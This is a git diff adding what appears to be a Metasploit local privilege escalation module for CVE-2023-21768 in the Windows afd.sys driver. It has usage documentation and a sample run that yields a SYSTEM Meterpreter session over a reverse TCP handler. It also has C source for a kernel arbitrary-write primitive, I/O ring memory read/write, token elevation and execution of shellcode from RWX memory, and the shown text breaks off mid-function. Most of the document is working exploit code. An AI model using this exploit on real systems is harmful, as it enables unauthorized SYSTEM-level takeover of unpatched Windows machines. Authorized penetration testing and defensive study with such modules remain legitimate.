diff --git a/data/exploits/CVE-2023-21768/CVE-2023-21768.x64.dll b/data/exploits/CVE-2023-21768/CVE-2023-21768.x64.dll
new file mode 100755
index 0000000000..d60fc03705
Binary files /dev/null and b/data/exploits/CVE-2023-21768/CVE-2023-21768.x64.dll differ
diff --git a/documentation/modules/exploit/windows/local/cve_2023_21768_afd_lpe.md b/documentation/modules/exploit/windows/local/cve_2023_21768_afd_lpe.md
new file mode 100644
index 0000000000..1a04e3a816
--- /dev/null
+++ b/documentation/modules/exploit/windows/local/cve_2023_21768_afd_lpe.md
@@ -0,0 +1,58 @@
+## Vulnerable Application
+
+A vulnerability exists in the Windows Ancillary Function Driver for Winsock
+(`afd.sys`) can be leveraged by an attacker to escalate privileges to those of
+NT AUTHORITY\SYSTEM. Due to a flaw in `AfdNotifyRemoveIoCompletion`, it is
+possible to create an arbitrary kernel Write-Where primitive, which can be used
+to manipulate internal I/O ring structures and achieve local privilege
+escalation.
+
+This exploit only supports Windows 11 22H2 up to build 22621.963 (patched in
+January 2023 updates).
+
+### Installation And Setup
+Windows 11 versions 22H2 (without the patch) are vulnerable out of the box.
+This exploit module has been tested on Windows 11 versions 22H2 build 22621.525
+and 22621.963.
+
+## Options
+No specific options to be set.
+
+## Verification Steps
+
+1. Start msfconsole
+1. Get a Meterpreter session on a vulnerable host
+1. Do: `use windows/local/cve_2023_21768_afd_lpe`
+1. Set the `SESSION` and `PAYLOAD` options
+1. Do: `run`
+1. You should get a privileged session.
+
+## Scenarios
+
+### Windows 11 Version 22H2 Build 22621.963 x64
+```
+msf6 exploit(windows/local/cve_2023_21768_afd_lpe) > run verbose=true
+
+[*] Started reverse TCP handler on 192.168.100.9:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Windows Build Number = 22621.963
+[+] The target appears to be vulnerable.
+[*] Launching netsh to host the DLL...
+[+] Process 3748 launched.
+[*] Reflectively injecting the DLL into 3748...
+[*] Sending stage (200774 bytes) to 192.168.100.9
+[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
+[*] Meterpreter session 11 opened (192.168.100.9:4444 -> 192.168.100.9:55346) at 2023-03-27 18:46:08 +0200
+
+meterpreter > getuid
+Server username: NT AUTHORITY\SYSTEM
+meterpreter > sysinfo
+Computer : WIN11PRO
+OS : Windows 10 (10.0 Build 22621).
+Architecture : x64
+System Language : en_US
+Domain : WORKGROUP
+Logged On Users : 2
+Meterpreter : x64/windows
+```
+
diff --git a/external/source/exploits/CVE-2023-21768/.gitignore b/external/source/exploits/CVE-2023-21768/.gitignore
new file mode 100644
index 0000000000..c130deb41f
--- /dev/null
+++ b/external/source/exploits/CVE-2023-21768/.gitignore
@@ -0,0 +1,2 @@
+.vs/*
+*.vcxproj.filters
diff --git a/external/source/exploits/CVE-2023-21768/CVE-2023-21768.sln b/external/source/exploits/CVE-2023-21768/CVE-2023-21768.sln
new file mode 100755
index 0000000000..76e55788a2
--- /dev/null
+++ b/external/source/exploits/CVE-2023-21768/CVE-2023-21768.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.32407.337
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2023-21768", "CVE-2023-21768.vcxproj", "{24AFFB38-5B93-4D0E-8329-D3B27B337D25}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x64.ActiveCfg = Debug|x64
+ {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x64.Build.0 = Debug|x64
+ {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x86.ActiveCfg = Debug|Win32
+ {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x86.Build.0 = Debug|Win32
+ {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x64.ActiveCfg = Release|x64
+ {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x64.Build.0 = Release|x64
+ {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x86.ActiveCfg = Release|Win32
+ {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x86.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {ED684E2D-0A3F-471F-A3D4-3F508877D62C}
+ EndGlobalSection
+EndGlobal
diff --git a/external/source/exploits/CVE-2023-21768/CVE-2023-21768.vcxproj b/external/source/exploits/CVE-2023-21768/CVE-2023-21768.vcxproj
new file mode 100755
index 0000000000..35d33751d0
--- /dev/null
+++ b/external/source/exploits/CVE-2023-21768/CVE-2023-21768.vcxproj
@@ -0,0 +1,220 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {24affb38-5b93-4d0e-8329-d3b27b337d25}
+ CVE202321768
+ 10.0
+
+
+
+ DynamicLibrary
+ true
+ v142
+ Unicode
+
+
+ DynamicLibrary
+ false
+ v142
+ true
+ Unicode
+
+
+ DynamicLibrary
+ true
+ v142
+ Unicode
+
+
+ DynamicLibrary
+ false
+ v142
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+ $(Configuration)\$(PlatformShortName)\
+ $(Configuration)\$(PlatformShortName)\
+ $(ProjectName).$(PlatformShortName)
+ true
+
+
+ false
+ $(Configuration)\$(PlatformShortName)\
+ $(Configuration)\$(PlatformShortName)\
+ $(ProjectName).$(PlatformShortName)
+ false
+
+
+ true
+ $(Configuration)\$(PlatformShortName)\
+ $(Configuration)\$(PlatformShortName)\
+ $(ProjectName).$(PlatformShortName)
+ true
+
+
+ false
+ $(Configuration)\$(PlatformShortName)\
+ $(Configuration)\$(PlatformShortName)\
+ $(ProjectName).$(PlatformShortName)
+ false
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)
+ false
+ NotUsing
+ pch.h
+ ..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories)
+ ProgramDatabase
+ true
+ OnlyExplicitInline
+ true
+ MultiThreaded
+ false
+
+
+ Windows
+ true
+ false
+ true
+ $(OutDir)$(TargetName).map
+ false
+
+
+
+
+ Level3
+ false
+ false
+
+
+ WIN32;NDEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)
+ false
+ NotUsing
+ pch.h
+ ..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories)
+ true
+ OnlyExplicitInline
+ true
+ MultiThreaded
+
+
+ Windows
+ true
+ true
+ false
+ false
+ $(OutDir)$(TargetName).map
+ false
+
+
+
+
+ Level3
+ true
+ _DEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)
+ false
+ NotUsing
+ pch.h
+ ..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories)
+ ProgramDatabase
+ true
+ OnlyExplicitInline
+ true
+ MultiThreaded
+ false
+
+
+ Windows
+ true
+ false
+ true
+ $(OutDir)$(TargetName).map
+ false
+
+
+
+
+ Level3
+ false
+ false
+
+
+ NDEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)
+ false
+ NotUsing
+ pch.h
+ ..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories)
+ true
+ AnySuitable
+ true
+ MultiThreaded
+ MinSpace
+ false
+ Size
+
+
+ Windows
+ true
+ true
+ false
+ false
+ $(OutDir)$(TargetName).map
+ false
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/external/source/exploits/CVE-2023-21768/dllmain.c b/external/source/exploits/CVE-2023-21768/dllmain.c
new file mode 100755
index 0000000000..1b4abe20b5
--- /dev/null
+++ b/external/source/exploits/CVE-2023-21768/dllmain.c
@@ -0,0 +1,37 @@
+#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
+#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
+#include "ReflectiveLoader.c"
+
+#include
+#include
+#include
+
+DWORD Exploit(PVOID pPayload);
+
+LPVOID main(LPVOID lpReserved) {
+ Exploit(lpReserved);
+ return;
+}
+
+BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
+{
+ switch (dwReason)
+ {
+ case DLL_QUERY_HMODULE:
+ hAppInstance = hinstDLL;
+ if (lpReserved != NULL)
+ {
+ *(HMODULE*)lpReserved = hAppInstance;
+ }
+ break;
+ case DLL_PROCESS_ATTACH:
+ hAppInstance = hinstDLL;
+ main(lpReserved);
+ break;
+ case DLL_PROCESS_DETACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ break;
+ }
+ return TRUE;
+}
\ No newline at end of file
diff --git a/external/source/exploits/CVE-2023-21768/exploit.c b/external/source/exploits/CVE-2023-21768/exploit.c
new file mode 100755
index 0000000000..4a87a23266
--- /dev/null
+++ b/external/source/exploits/CVE-2023-21768/exploit.c
@@ -0,0 +1,214 @@
+#include
+#include "exploit.h"
+#include "ioring.h"
+
+BOOL InitialSetup(void) {
+ HMODULE hNtdll = LoadLibrary(L"ntdll");
+
+ if (!hNtdll) {
+ dprintf("Unable to load ntdll.dll");
+ goto failure;
+ }
+
+ if (!(NtCreateFile = (fNtCreateFile)GetProcAddress(hNtdll, "NtCreateFile"))) {
+ dprintf("NtCreateFile() not found in ntdll.dll");
+ goto failure;
+ }
+
+ if (!(NtDeviceIoControlFile = (fNtDeviceIoControlFile)GetProcAddress(hNtdll, "NtDeviceIoControlFile"))) {
+ dprintf("NtDeviceIoControlFile() not found in ntdll.dll");
+ goto failure;
+ }
+
+ if (!(NtCreateIoCompletion = (fNtCreateIoCompletion)GetProcAddress(hNtdll, "NtCreateIoCompletion"))) {
+ dprintf("NtCreateIoCompletion() not found in ntdll.dll");
+ goto failure;
+ }
+
+ if (!(NtSetIoCompletion = (fNtSetIoCompletion)GetProcAddress(hNtdll, "NtSetIoCompletion"))) {
+ dprintf("NtSetIoCompletion() not found in ntdll.dll");
+ goto failure;
+ }
+
+ if (!(NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation"))) {
+ dprintf("NtQuerySystemInformation() not found in ntdll.dll");
+ goto failure;
+ }
+
+ return TRUE;
+
+failure:
+ if (hNtdll) {
+ FreeLibrary(hNtdll);
+ }
+ return FALSE;
+}
+
+HRESULT ArbitraryKernelWrite0x1(void* pPwnPtr) {
+ HRESULT ret;
+ NTSTATUS ntStatus;
+ HANDLE hCompletion = INVALID_HANDLE_VALUE;
+ IO_STATUS_BLOCK IoStatusBlock = { 0 };
+ HANDLE hSocket = INVALID_HANDLE_VALUE;
+ UNICODE_STRING ObjectFilePath = { 0 };
+ OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
+ AFD_NOTIFYSOCK_DATA Data = { 0 };
+ HANDLE hEvent = NULL;
+ HANDLE hThread = NULL;
+
+ // Hard-coded attributes for an IPv4 TCP socket
+ BYTE bExtendedAttributes[] = {
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
+ 0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
+ };
+
+ ntStatus = NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);
+
+ if (ntStatus != STATUS_SUCCESS) {
+ dprintf("NtCreateIoCompletion() failed (NTSTATUS=0x%X)", ntStatus);
+ ret = E_FAIL;
+ goto done;
+ }
+
+ ntStatus = NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100);
+
+ if (ntStatus != STATUS_SUCCESS) {
+ dprintf("NtSetIoCompletion() failed (NTSTATUS=0x%X)", ntStatus);
+ ret = E_FAIL;
+ goto done;
+ }
+
+ ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
+ ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
+ ObjectFilePath.MaximumLength = ObjectFilePath.Length;
+
+ ObjectAttributes.Length = sizeof(ObjectAttributes);
+ ObjectAttributes.ObjectName = &ObjectFilePath;
+ ObjectAttributes.Attributes = 0x40;
+
+ ntStatus = NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
+
+ if (ntStatus != STATUS_SUCCESS) {
+ dprintf("NtCreateFile() failed (NTSTATUS=0x%X)", ntStatus);
+ ret = E_FAIL;
+ goto done;
+ }
+
+ Data.hCompletion = hCompletion;
+
+ Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
+ if (!Data.pData1) {
+ dprintf("Call #1 to VirtualAlloc() failed (0x%X)", GetLastError());
+ ret = E_FAIL;
+ goto done;
+ }
+
+ Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
+ if (!Data.pData2) {
+ dprintf("Call #2 to VirtualAlloc() failed (0x%X)", GetLastError());
+ ret = E_FAIL;
+ goto done;
+ }
+
+ Data.dwCounter = 0x1;
+ Data.dwLen = 0x1;
+ Data.dwTimeout = 100000000;
+ Data.pPwnPtr = pPwnPtr;
+
+ hEvent = CreateEvent(NULL, 0, 0, NULL);
+
+ if (!hEvent) {
+ dprintf("Call to CreateEvent() failed (0x%X)", GetLastError());
+ ret = E_FAIL;
+ goto done;
+ }
+
+ NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);
+
+ ret = S_OK;
+
+done:
+ if (hCompletion != INVALID_HANDLE_VALUE) {
+ CloseHandle(hCompletion);
+ }
+
+ if (hSocket != INVALID_HANDLE_VALUE) {
+ CloseHandle(hSocket);
+ }
+
+ if (hEvent) {
+ CloseHandle(hEvent);
+ }
+
+ if (Data.pData1) {
+ VirtualFree(Data.pData1, 0, MEM_RELEASE);
+ }
+
+ if (Data.pData2) {
+ VirtualFree(Data.pData2, 0, MEM_RELEASE);
+ }
+
+ return ret;
+}
+
+void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
+ if (!pMsfPayload) {
+ return;
+ }
+
+ PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+ if (!pPayload) {
+ return;
+ }
+
+ CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
+ CreateThread(NULL, 0, pPayload, NULL, 0, NULL);
+}
+
+DWORD Exploit(PVOID pPayload) {
+ dprintf("Starting exploit...");
+
+ PIORING_OBJECT pIoRing = NULL;
+ DWORD dwPidSelf = GetCurrentProcessId();
+
+ if (!InitialSetup()) {
+ dprintf("Initial setup failure");
+ return EXIT_FAILURE;
+ }
+
+ if (IoRingSetup(&pIoRing) != S_OK) {
+ dprintf("IORING setup failed");
+ return EXIT_FAILURE;
+ }
+
+ dprintf("IoRing Obj Address at %llx", pIoRing);
+
+ if (ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffers + 0x3) != S_OK) {
+ dprintf("IoRing->RegBuffers overwrite failed");
+ return EXIT_FAILURE;
+ }
+
+ dprintf("IoRing->RegBuffers overwritten with address 0x1000000");
+
+ if (ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffersCount) != S_OK) {
+ dprintf("IoRing->RegBuffersCount overwrite failed");
+ return EXIT_FAILURE;
+ }
+
+ dprintf("IoRing->RegBuffersCount overwritten with 0x1");
+
+ if (IoRingLpe(dwPidSelf, 0x1000000, 0x1) != S_OK) {
+ dprintf("LPE Failed");
+ return EXIT_FAILURE;
+ }
+
+ dprintf("Current process token elevated to SYSTEM!");
+
+ ExecutePayload(pPayload);
+
+ dprintf("The payload has been executed");
+
+ return EXIT_SUCCESS;
+}
\ No newline at end of file
diff --git a/external/source/exploits/CVE-2023-21768/exploit.h b/external/source/exploits/CVE-2023-21768/exploit.h
new file mode 100755
index 0000000000..12988833a7
--- /dev/null
+++ b/external/source/exploits/CVE-2023-21768/exploit.h
@@ -0,0 +1,197 @@
+#pragma once
+
+//#define DEBUGTRACE
+
+#include
+#include "common.h"
+#include "definitions.h"
+
+#define EPROC_TOKEN_OFFSET 0x4b8
+
+#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16
+
+typedef struct _OBJECT_TYPE_INFORMATION
+{
+ UNICODE_STRING TypeName;
+ ULONG TotalNumberOfObjects;
+ ULONG TotalNumberOfHandles;
+ ULONG TotalPagedPoolUsage;
+ ULONG TotalNonPagedPoolUsage;
+ ULONG TotalNamePoolUsage;
+ ULONG TotalHandleTableUsage;
+ ULONG HighWaterNumberOfObjects;
+ ULONG HighWaterNumberOfHandles;
+ ULONG HighWaterPagedPoolUsage;
+ ULONG HighWaterNonPagedPoolUsage;
+ ULONG HighWaterNamePoolUsage;
+ ULONG HighWaterHandleTableUsage;
+ ULONG InvalidAttributes;
+ GENERIC_MAPPING GenericMapping;
+ ULONG ValidAccessMask;
+ BOOLEAN SecurityRequired;
+ BOOLEAN MaintainHandleCount;
+ BOOLEAN TypeIndex;
+ CHAR ReservedByte;
+ ULONG PoolType;
+ ULONG DefaultPagedPoolCharge;
+ ULONG DefaultNonPagedPoolCharge;
+} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
+
+typedef struct _DISPATCHER_HEADER
+{
+ union
+ {
+ volatile long Lock;
+ long LockNV;
+ struct
+ {
+ unsigned char Type;
+ unsigned char Signalling;
+ unsigned char Size;
+ unsigned char Reserved1;
+ };
+ struct
+ {
+ unsigned char TimerType;
+ union
+ {
+ unsigned char TimerControlFlags;
+ struct
+ {
+ struct
+ {
+ unsigned char Absolute : 1;
+ unsigned char Wake : 1;
+ unsigned char EncodedTolerableDelay : 6;
+ };
+ unsigned char Hand;
+ union
+ {
+ unsigned char TimerMiscFlags;
+ struct
+ {
+ unsigned char Index : 6;
+ unsigned char Inserted : 1;
+ volatile unsigned char Expired : 1;
+ };
+ };
+ };
+ };
+ };
+ struct
+ {
+ unsigned char Timer2Type;
+ union
+ {
+ unsigned char Timer2Flags;
+ struct
+ {
+ struct
+ {
+ unsigned char Timer2Inserted : 1;
+ unsigned char Timer2Expiring : 1;
+ unsigned char Timer2CancelPending : 1;
+ unsigned char Timer2SetPending : 1;
+ unsigned char Timer2Running : 1;
+ unsigned char Timer2Disabled : 1;
+ unsigned char Timer2ReservedFlags : 2;
+ };
+ unsigned char Timer2ComponentId;
+ unsigned char Timer2RelativeId;
+ };
+ };
+ };
+ struct
+ {
+ unsigned char QueueType;
+ union
+ {
+ unsigned char QueueControlFlags;
+ struct
+ {
+ struct
+ {
+ unsigned char Abandoned : 1;
+ unsigned char DisableIncrement : 1;
+ unsigned char QueueReservedControlFlags : 6;
+ };
+ unsigned char QueueSize;
+ unsigned char QueueReserved;
+ };
+ };
+ };
+ struct
+ {
+ unsigned char ThreadType;
+ unsigned char ThreadReserved;
+ union
+ {
+ unsigned char ThreadControlFlags;
+ struct
+ {
+ struct
+ {
+ unsigned char CycleProfiling : 1;
+ unsigned char CounterProfiling : 1;
+ unsigned char GroupScheduling : 1;
+ unsigned char AffinitySet : 1;
+ unsigned char Tagged : 1;
+ unsigned char EnergyProfiling : 1;
+ unsigned char SchedulerAssist : 1;
+ unsigned char ThreadReservedControlFlags : 1;
+ };
+ union
+ {
+ unsigned char DebugActive;
+ struct
+ {
+ unsigned char ActiveDR7 : 1;
+ unsigned char Instrumented : 1;
+ unsigned char Minimal : 1;
+ unsigned char Reserved4 : 2;
+ unsigned char AltSyscall : 1;
+ unsigned char Emulation : 1;
+ unsigned char Reserved5 : 1;
+ };
+ };
+ };
+ };
+ };
+ struct
+ {
+ unsigned char MutantType;
+ unsigned char MutantSize;
+ unsigned char DpcActive;
+ unsigned char MutantReserved;
+ };
+ };
+ long SignalState;
+ LIST_ENTRY WaitListHead;
+} DISPATCHER_HEADER, * PDISPATCHER_HEADER;
+
+typedef struct _KEVENT
+{
+ struct _DISPATCHER_HEADER Header;
+} KEVENT, * PKEVENT;
+
+
+#define AFD_NOTIFYSOCK_IOCTL 0x12127
+
+// Good enough™ best guess on what this structure is.
+typedef struct AFD_NOTIFYSOCK_DATA
+{
+ HANDLE hCompletion;
+ PVOID pData1;
+ PVOID pData2;
+ PVOID pPwnPtr;
+ DWORD dwCounter;
+ DWORD dwTimeout;
+ DWORD dwLen;
+ char lol[0x4];
+}AFD_NOTIFYSOCK_DATA;
+
+fNtCreateFile NtCreateFile;
+fNtDeviceIoControlFile NtDeviceIoControlFile;
+fNtCreateIoCompletion NtCreateIoCompletion;
+fNtSetIoCompletion NtSetIoCompletion;
+fNtQuerySystemInformation NtQuerySystemInformation;
\ No newline at end of file
diff --git a/external/source/exploits/CVE-2023-21768/ioring.c b/external/source/exploits/CVE-2023-21768/ioring.c
new file mode 100755
index 0000000000..3a74b9725c
--- /dev/null
+++ b/external/source/exploits/CVE-2023-21768/ioring.c
@@ -0,0 +1,275 @@
+#include
+#include "ioring.h"
+
+HIORING hIoRing = NULL;
+PIORING_OBJECT pIoRing = NULL;
+HANDLE hInPipe = INVALID_HANDLE_VALUE;
+HANDLE hOutPipe = INVALID_HANDLE_VALUE;
+HANDLE hInPipeClient = INVALID_HANDLE_VALUE;
+HANDLE hOutPipeClient = INVALID_HANDLE_VALUE;
+
+HRESULT GetObjPtr(PVOID* ppObjAddr, ULONG ulPid, HANDLE handle) {
+ HRESULT ret;
+ PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
+ ULONG ulBytes = 0;
+ NTSTATUS ntStatus = STATUS_SUCCESS;
+
+ while ((ntStatus = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) {
+ if (pHandleInfo) {
+ pHandleInfo = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * (SIZE_T) ulBytes);
+ } else {
+ pHandleInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T) ulBytes);
+ }
+ }
+
+ if (ntStatus != STATUS_SUCCESS) {
+ dprintf("NtQuerySystemInformation() failed (NTSTATUS=0x%X)", ntStatus);
+ ret = E_FAIL;
+ goto done;
+ }
+
+ if (pHandleInfo == NULL) {
+ dprintf("Heap memory allocation failed (0x%X)", GetLastError());
+ ret = E_FAIL;
+ goto done;
+ }
+
+ for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
+ if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (USHORT) handle)) {
+ *ppObjAddr = pHandleInfo->Handles[i].Object;
+ ret = S_OK;
+ break;
+ }
+ }
+
+done:
+ if (pHandleInfo) {
+ HeapFree(GetProcessHeap(), 0, pHandleInfo);
+ }
+ return ret;
+}
+
+HRESULT IoRingSetup(PIORING_OBJECT* ppIoRingAddr) {
+ IORING_CREATE_FLAGS ioRingFlags = { 0 };
+
+ ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
+ ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE;
+
+ if (CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing) != S_OK) {
+ dprintf("Call to CreateIoRing() failed (0x%X)", GetLastError());
+ return E_FAIL;
+ }
+
+ if (GetObjPtr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing) != S_OK) {
+ dprintf("Failed to get the IoRing object address");
+ return E_FAIL;
+ }
+
+ pIoRing = *ppIoRingAddr;
+
+ hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
+ hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
+
+ if ((hInPipe == INVALID_HANDLE_VALUE) || (hOutPipe == INVALID_HANDLE_VALUE)) {
+ dprintf("Named pipe creation failure (0x%X)", GetLastError());
+ return E_FAIL;
+ }
+
+ hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+ hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+
+ if ((hInPipeClient == INVALID_HANDLE_VALUE) || (hOutPipeClient == INVALID_HANDLE_VALUE)) {
+ dprintf("Error while opening named pipes (0x%X)", GetLastError());
+ return E_FAIL;
+ }
+
+ return S_OK;
+}
+
+HRESULT IoRingRead(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen) {
+ HRESULT ret;
+ PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
+ IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
+ IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
+ IORING_CQE cqe = { 0 };
+
+ pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
+
+ if (!pMcBufferEntry) {
+ dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError());
+ ret = E_FAIL;
+ goto done;
+ }
+
+ pMcBufferEntry->Address = (PVOID)pReadAddr;
+ pMcBufferEntry->Length = ulReadLen;
+ pMcBufferEntry->Type = 0xc02;
+ pMcBufferEntry->Size = 0x80;
+ pMcBufferEntry->AccessMode = 1;
+ pMcBufferEntry->ReferenceCount = 1;
+
+ pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
+
+ if (BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, (UINT_PTR)NULL, IOSQE_FLAGS_NONE) != S_OK) {
+ dprintf("Call to BuildIoRingWriteFile() failed (0x%X)", GetLastError());
+ ret = E_FAIL;
+ goto done;
+ }
+
+ if (SubmitIoRing(hIoRing, 0, 0, NULL) != S_OK) {
+ dprintf("Call to SubmitIoRing() failed (0x%X)", GetLastError());
+ ret = E_FAIL;
+ goto done;
+ }
+
+ if (PopIoRingCompletion(hIoRing, &cqe) != S_OK) {
+ dprintf("Call to PopIoRingCompletion() failed (0x%X)", GetLastError());
+ ret = E_FAIL;
+ goto done;
+ }
+
+ if (cqe.ResultCode != S_OK) {
+ ret = cqe.ResultCode;
+ dprintf("the I/O ring operation failed (ResultCode=0x%X)", ret);
+ goto done;
+ }
+
+ if (!ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL)) {
+ dprintf("Call to ReadFile() failed (0x%X)", GetLastError());
+ ret = E_FAIL;
+ goto done;
+ }
+
+ ret = S_OK;
+
+done:
+ if (pMcBufferEntry) {
+ VirtualFree(pMcBufferEntry, 0, MEM_RELEASE);
+ }
+ return ret;
+}
+
+HRESULT IoRingWrite(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen) {
+ HRESULT ret;
+ PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
+ IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
+ IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
+ IORING_CQE cqe = { 0 };
+
+ if (!WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
+ {
+ dprintf("Call to WriteFile() failed (0x%X)", GetLastError());
+ ret = E_FAIL;
+ goto done;
+ }
+
+ pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
+
